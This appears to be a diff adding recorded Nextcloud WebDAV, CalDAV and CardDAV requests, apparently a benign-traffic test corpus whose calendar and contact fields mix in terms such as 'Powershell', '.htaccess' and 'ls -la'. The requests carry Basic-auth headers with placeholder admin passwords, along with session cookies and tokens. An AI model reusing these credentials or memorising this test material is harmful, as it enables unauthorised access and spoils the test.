 {"method": "UNLOCK", "target": "/remote.php/dav/files/admin/Release%20notes/Changelog.txt", "headers": ["Host: example.com", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "User-Agent: Mozilla/5.0 (Linux) mirall/3.16.7-1~deb13u1 (Debian built) (Nextcloud, debian-6.8.0-111-generic ClientArchitecture: x86_64 OsArchitecture: x86_64)", "Accept: */*", "X-User-Lock: 1", "X-User-Lock-Type: 0", "Accept-Encoding: zstd, br, gzip, deflate", "Accept-Language: en,*", "X-Request-Id: 7c787543-2c5d-44e9-aba9-2637d14b20df", "Connection: close"], "body": ""}
+{"method": "GET", "target": "/apps/calendar/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Ts5zYj7naQP3GheX7H7K167jO15GVEq2HkN8vykCMFvb6DnLvNz2m7gtpRt%2BKsrJym%2BXPJWaVo6pnKtTM%2BjYmjZvdRgUctVgus5o3LZimSHceSsVlu8NjD2WDmsDIx4V; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=8474e1f17fd9d938bc4b8e486912f9fa; nc_username=admin; nc_token=OwwyIG8%2Bb6S30Gg6r5mEEP0P8Ecl1eWF; nc_session_id=8474e1f17fd9d938bc4b8e486912f9fa"], "body": ""}
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+{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/personal/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 514", "Depth: 1", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: T9BYhAAPsoWkxhIXPRIfPCLrhh7YF/3Sk0qX6zF2c4E=:OLYXzC9E5tDojCdSb0cofhec/3voe4q/9T7a2R48KsU=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Ts5zYj7naQP3GheX7H7K167jO15GVEq2HkN8vykCMFvb6DnLvNz2m7gtpRt%2BKsrJym%2BXPJWaVo6pnKtTM%2BjYmjZvdRgUctVgus5o3LZimSHceSsVlu8NjD2WDmsDIx4V; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=8474e1f17fd9d938bc4b8e486912f9fa; nc_username=admin; nc_token=OwwyIG8%2Bb6S30Gg6r5mEEP0P8Ecl1eWF; nc_session_id=8474e1f17fd9d938bc4b8e486912f9fa"], "body": "<x1:calendar-query xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x1:calendar-data/></x0:prop><x1:filter><x1:comp-filter name=\"VCALENDAR\"><x1:comp-filter name=\"VEVENT\"><x1:time-range start=\"20261101T000000Z\" end=\"20261213T000000Z\"/></x1:comp-filter></x1:comp-filter></x1:filter></x1:calendar-query>"}
+{"method": "MKCOL", "target": "/remote.php/dav/calendars/admin/python3-and-powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 1081", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: mXmOIpCPAL0v5/l0V933/IzwxYkAYL6iFIH1E4WqQzo=:3R63VvXhdO9Evqs5OZG4hr2Fl8NDM9z3P82iefPNBHE=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Wtbkii%2BmzC90XuRtc%2BvcKMf7hUCPYaI0XVVoDitZUBj%2F4uAtmL6fuby2YBopwPZnCMDJ%2FMmB2vmkiL7ebxNr6fchO1dcS8iUAI4WwQ540128a0wiC%2BvWk1Nsf3ztb4MW; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ea48f87178f072cb4f97ce18c83b205e; nc_username=admin; nc_token=dc7eEfRUh%2F3SjX%2FPfgXjdXOGTBkH7Pgz; nc_session_id=ea48f87178f072cb4f97ce18c83b205e"], "body": "<x0:mkcol xmlns:x0=\"DAV:\"><x0:set><x0:prop><x0:resourcetype><x0:collection/><x1:calendar xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/></x0:resourcetype><x0:displayname>Python3 and powershell</x0:displayname><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\">#1E78C1</x6:calendar-color><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\">1</x4:calendar-enabled><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\">BEGIN:VCALENDAR\r\nPRODID:-//IDN nextcloud.com//Calendar app 6.6.5//EN\r\nCALSCALE:GREGORIAN\r\nVERSION:2.0\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nEND:VTIMEZONE\r\nEND:VCALENDAR</x1:calendar-timezone><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x1:comp name=\"VEVENT\"/></x1:supported-calendar-component-set></x0:prop></x0:set></x0:mkcol>"}
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+{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/contacts/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 703", "Depth: 1", "requesttoken: HXwiJzx/6GfUKVU4kHiOoR61g490fr+QsA9Qe0hsQuw=:azISRFcc2A+kfCBhoyjX6S3Uu+IaT9Ko91o5SRguJNg=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=hTR14TyLElt0ww3gvFbgLJiZKknNZZy5NFEvCA8TrFooYkHrVHp%2BjJWB2aYG0poKUoyXssdQVfJ0dBLLCcpJXSd8qJ%2BAnYeQfLPK6zL7IbwLQMNgHPa0qgvZmqEM6xM4; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=44d8c04765ac411f367dc36a451b8922; nc_username=admin; nc_token=%2BbGjlq5HAj%2FKb%2FxDX6UpJVT20dm22ciN; nc_session_id=44d8c04765ac411f367dc36a451b8922"], "body": "<x4:addressbook-query xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getetag/><x0:getcontenttype/><x0:resourcetype/><x4:address-data><x4:prop name=\"EMAIL\"/><x4:prop name=\"UID\"/><x4:prop name=\"TEL\"/><x4:prop name=\"CATEGORIES\"/><x4:prop name=\"FN\"/><x4:prop name=\"ORG\"/><x4:prop name=\"N\"/><x4:prop name=\"X-PHONETIC-FIRST-NAME\"/><x4:prop name=\"X-PHONETIC-LAST-NAME\"/><x4:prop name=\"X-MANAGERSNAME\"/><x4:prop name=\"TITLE\"/><x4:prop name=\"NOTE\"/><x4:prop name=\"RELATED\"/><x4:prop name=\"KIND\"/><x4:prop name=\"X-ADDRESSBOOKSERVER-KIND\"/></x4:address-data><x3:has-photo xmlns:x3=\"http://nextcloud.com/ns\"/><x3:favorite xmlns:x3=\"http://nextcloud.com/ns\"/></x0:prop></x4:addressbook-query>"}
+{"method": "MKCOL", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 247", "Depth: 0", "requesttoken: IDF6haHOnwUb6toTHKUMAP7gLYKMfa/mr+gcudSIOJY=:F3wrtM/88lBcn7ZDJJBFSZaue/bJJ/eM3qUpwZrGWbk=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Zgacpi1e5s%2B%2B%2F2XwYeTW%2FIM50S6NnczT4TaFtjK%2FoExyhmf0Vj7bY8htV%2BJAtAxrU%2BNaBqXKOIes3hSFV948kw%2FY3IGIBR6V%2BlKBH2iD3ws%2FLcZ98ZZAF4W21X%2Bidhfi; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=b7bbb68fb503491efd91910474b454bd; nc_username=admin; nc_token=lzpjs5M9hGN%2FdTXJj0aSTKDZeMBv4sl1; nc_session_id=b7bbb68fb503491efd91910474b454bd"], "body": "<x0:mkcol xmlns:x0=\"DAV:\"><x0:set><x0:prop><x0:resourcetype><x0:collection/><x4:addressbook xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/></x0:resourcetype><x0:displayname>Powershell and .htaccess people</x0:displayname></x0:prop></x0:set></x0:mkcol>"}
+{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 771", "Depth: 0", "requesttoken: IDF6haHOnwUb6toTHKUMAP7gLYKMfa/mr+gcudSIOJY=:F3wrtM/88lBcn7ZDJJBFSZaue/bJJ/eM3qUpwZrGWbk=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Zgacpi1e5s%2B%2B%2F2XwYeTW%2FIM50S6NnczT4TaFtjK%2FoExyhmf0Vj7bY8htV%2BJAtAxrU%2BNaBqXKOIes3hSFV948kw%2FY3IGIBR6V%2BlKBH2iD3ws%2FLcZ98ZZAF4W21X%2Bidhfi; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=b7bbb68fb503491efd91910474b454bd; nc_username=admin; nc_token=lzpjs5M9hGN%2FdTXJj0aSTKDZeMBv4sl1; nc_session_id=b7bbb68fb503491efd91910474b454bd"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x5:invite xmlns:x5=\"http://owncloud.org/ns\"/><x6:allowed-sharing-modes xmlns:x6=\"http://calendarserver.org/ns/\"/><x4:addressbook-description xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:supported-address-data xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:max-resource-size xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x6:getctag xmlns:x6=\"http://calendarserver.org/ns/\"/><x5:enabled xmlns:x5=\"http://owncloud.org/ns\"/><x5:read-only xmlns:x5=\"http://owncloud.org/ns\"/></x0:prop></x0:propfind>"}
+{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 703", "Depth: 1", "requesttoken: fZgjYlkTsOd20pLYPjng/qvwY4SGiFpn9ESXtI5TLg4=:MOFqAWxnm9Rdk+O6bACVl+zEUd3g4jERsj747aEaZ2o=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=jOdffoGm%2FR4%2FLegb4Tes9nHq9GPhh0oBu6yT3apgCqiEBQQj3XY5S5oZhFPmWexksgRMt2SpOiAAeUTpmgc01J4kaHZee1Ug6U204lFJ0WZej0d7%2FxRrDspKnD6ltmFP; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=e0aeeffda7c701dc426e0d411bdfb0a2; nc_username=admin; nc_token=piSmKb4QqFXfvtkB0J1iEKk3ElcqKzyC; nc_session_id=e0aeeffda7c701dc426e0d411bdfb0a2"], "body": "<x4:addressbook-query xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getetag/><x0:getcontenttype/><x0:resourcetype/><x4:address-data><x4:prop name=\"EMAIL\"/><x4:prop name=\"UID\"/><x4:prop name=\"TEL\"/><x4:prop name=\"CATEGORIES\"/><x4:prop name=\"FN\"/><x4:prop name=\"ORG\"/><x4:prop name=\"N\"/><x4:prop name=\"X-PHONETIC-FIRST-NAME\"/><x4:prop name=\"X-PHONETIC-LAST-NAME\"/><x4:prop name=\"X-MANAGERSNAME\"/><x4:prop name=\"TITLE\"/><x4:prop name=\"NOTE\"/><x4:prop name=\"RELATED\"/><x4:prop name=\"KIND\"/><x4:prop name=\"X-ADDRESSBOOKSERVER-KIND\"/></x4:address-data><x3:has-photo xmlns:x3=\"http://nextcloud.com/ns\"/><x3:favorite xmlns:x3=\"http://nextcloud.com/ns\"/></x0:prop></x4:addressbook-query>"}
+{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 332", "Depth: 0", "requesttoken: Iy7WAAfPc/hGpvpisqtFnPFRQDIzSG6sC+yJUEMbzPQ=:e3umVUqCEbAz6IgW/90k9Kk6Int0IzjAYYXiMyhQn44=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/vcard; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=%2FrmnJ5SO3BeiIypOwZqHEMonCiIy2uYA81JnXwGymwd1DduGdO3s7%2BttUc9quBNkrQAtL5KyTu0URuNqIZCe%2BS5rX85okbkVhwUdiJgdNa4Zl3j1KGVC7wa2vKuZs9rv; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=418a018c3809ffbd57360d97a78a822c; nc_username=admin; nc_token=GEjX3Z%2Fr2k4zZtwMjnL1cvLWQzvgAvgO; nc_session_id=418a018c3809ffbd57360d97a78a822c"], "body": "BEGIN:VCARD\r\nVERSION:4.0\r\nPRODID:-//Nextcloud Contacts v8.9.5\r\nUID:ee504ddf-b0ef-4dcb-8525-0b5d006b881e\r\nREV;VALUE=DATE-TIME:20261110T091354Z\r\nFN:Ada Python3 Powershell\r\nNOTE:\r\nADR;TYPE=HOME:;;4 Powershell Lane;Python3 Town;;;\r\nEMAIL;TYPE=HOME:\r\nTEL;TYPE=HOME,VOICE:\r\nORG:.htaccess and Python3 Ltd\r\nTITLE:Powershell admin\r\nEND:VCARD"}
+{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 318", "Depth: 0", "requesttoken: Iy7WAAfPc/hGpvpisqtFnPFRQDIzSG6sC+yJUEMbzPQ=:e3umVUqCEbAz6IgW/90k9Kk6Int0IzjAYYXiMyhQn44=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=%2FrmnJ5SO3BeiIypOwZqHEMonCiIy2uYA81JnXwGymwd1DduGdO3s7%2BttUc9quBNkrQAtL5KyTu0URuNqIZCe%2BS5rX85okbkVhwUdiJgdNa4Zl3j1KGVC7wa2vKuZs9rv; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=418a018c3809ffbd57360d97a78a822c; nc_username=admin; nc_token=GEjX3Z%2Fr2k4zZtwMjnL1cvLWQzvgAvgO; nc_session_id=418a018c3809ffbd57360d97a78a822c"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x4:address-data xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/></x0:prop></x0:propfind>"}
+{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 348", "Cache-Control: max-age=0", "Depth: 0", "requesttoken: 7Vdz2rzQ/4Dwwwmsqiy1H4Ac0zCBNZHnXHTBNGBb+aU=:jy4VvvKDjM/Eql/exFvML9J/l3PMZtCTOwCUAipwnM0=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/vcard; charset=UTF-8; charset=UTF-8", "If-Match: \"71a3092727585c70e67fdc0d6d610c20\"", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=kWAeErU2vXagSmHqAr00wV4yN408SYGPcS0P05Fxux4TdMkDB32sXCORkyIudWzxRB9QebdTZznhygCaa2skiuRhwWQB0Vjo4SZC1Pg27uy%2FGQK7bbXaXY3nAsGqO9DM; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=a13ae35dab214517739d9f5b4a0d9264; nc_username=admin; nc_token=boKHHKSaguKiOEwEA6ohVdUIsfFVG0P6; nc_session_id=a13ae35dab214517739d9f5b4a0d9264"], "body": "BEGIN:VCARD\r\nVERSION:4.0\r\nPRODID:-//Nextcloud Contacts v8.9.5\r\nUID:ee504ddf-b0ef-4dcb-8525-0b5d006b881e\r\nREV;VALUE=DATE-TIME:20261110T091426Z\r\nFN:Ada .htaccess ls -la Python3\r\nNOTE:\r\nADR;TYPE=HOME:;;4 Powershell Lane;Python3 Town;;;\r\nEMAIL;TYPE=HOME:\r\nTEL;TYPE=HOME,VOICE:\r\nORG:.htaccess and Python3 Ltd\r\nTITLE:Python3 and ls -la trainer\r\nEND:VCARD"}
+{"method": "DELETE", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Depth: 0", "requesttoken: 3K2A7EtHJTOVTJ7M8h5zQF9iYoahono/AafukOCK5ak=:scf6qTpsX0OlHva6o0grAhYuBsHs5khQZ5KbpLTm0MA=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=utf-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=el6hXqkaEpqVs6rRnN5Qb8ecVqAYaa%2F93Y3talW%2B8NLNAj3MF%2BtO5naG1BjPfqP91zWgMQAw3W6D5N5%2Frqw5sz4ij4nSoe5khPs45Gv%2F8NDs63QCkUg7fjSLLvISdXFE; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=a7d23fe345d2880f1f6655a952f9b2f3; nc_username=admin; nc_token=hzOptppVGWk1f6mZgFJxDbutRK5tE%2FGx; nc_session_id=a7d23fe345d2880f1f6655a952f9b2f3"], "body": ""}
+{"method": "PROPFIND", "target": "/.well-known/caldav", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\"><prop><resourcetype /><current-user-principal /></prop></propfind>"}
+{"method": "PROPFIND", "target": "/.well-known/carddav", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\"><prop><resourcetype /><current-user-principal /></prop></propfind>"}
+{"method": "PROPFIND", "target": "/remote.php/dav/", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\"><prop><resourcetype /><current-user-principal /></prop></propfind>"}
+{"method": "PROPFIND", "target": "/remote.php/dav/principals/users/admin/", "headers": ["Host: example.com", "Content-Length: 294", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><prop><CAL:calendar-home-set /><CARD:addressbook-home-set /><displayname /><CAL:calendar-user-address-set /><group-membership /></prop></propfind>"}
+{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/", "headers": ["Host: example.com", "Content-Length: 407", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\" xmlns:CS=\"http://calendarserver.org/ns/\" xmlns:ICAL=\"http://apple.com/ns/ical/\"><prop><resourcetype /><displayname /><CAL:calendar-description /><ICAL:calendar-color /><CAL:supported-calendar-component-set /><current-user-privilege-set /><CS:source /><CAL:calendar-timezone /><owner /></prop></propfind>"}
+{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/", "headers": ["Host: example.com", "Content-Length: 232", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><prop><resourcetype /><displayname /><CARD:addressbook-description /><current-user-privilege-set /><owner /></prop></propfind>"}
+{"method": "MKCALENDAR", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 496", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CAL:mkcalendar xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\" xmlns:ICAL=\"http://apple.com/ns/ical/\"><set><prop><displayname>Python3 club and .htaccess</displayname><CAL:calendar-description>Powershell and python3 meetings; ls -la first</CAL:calendar-description><ICAL:calendar-color>#FF0000FF</ICAL:calendar-color><CAL:supported-calendar-component-set><CAL:comp name=\"VEVENT\" /></CAL:supported-calendar-component-set></prop></set></CAL:mkcalendar>"}
+{"method": "MKCOL", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 340", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8"], "body": "<?xml version='1.0' encoding='UTF-8' ?><mkcol xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><set><prop><resourcetype><collection /><CARD:addressbook /></resourcetype><displayname>Ls -la and powershell team</displayname><CARD:addressbook-description>Python3 and .htaccess people</CARD:addressbook-description></prop></set></mkcol>"}
+{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 179", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CS=\"http://calendarserver.org/ns/\"><prop><CS:getctag /><sync-token /><supported-report-set /></prop></propfind>"}
+{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 162", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><sync-collection xmlns=\"DAV:\"><sync-token></sync-token><sync-level>1</sync-level><prop><getetag /></prop></sync-collection>"}
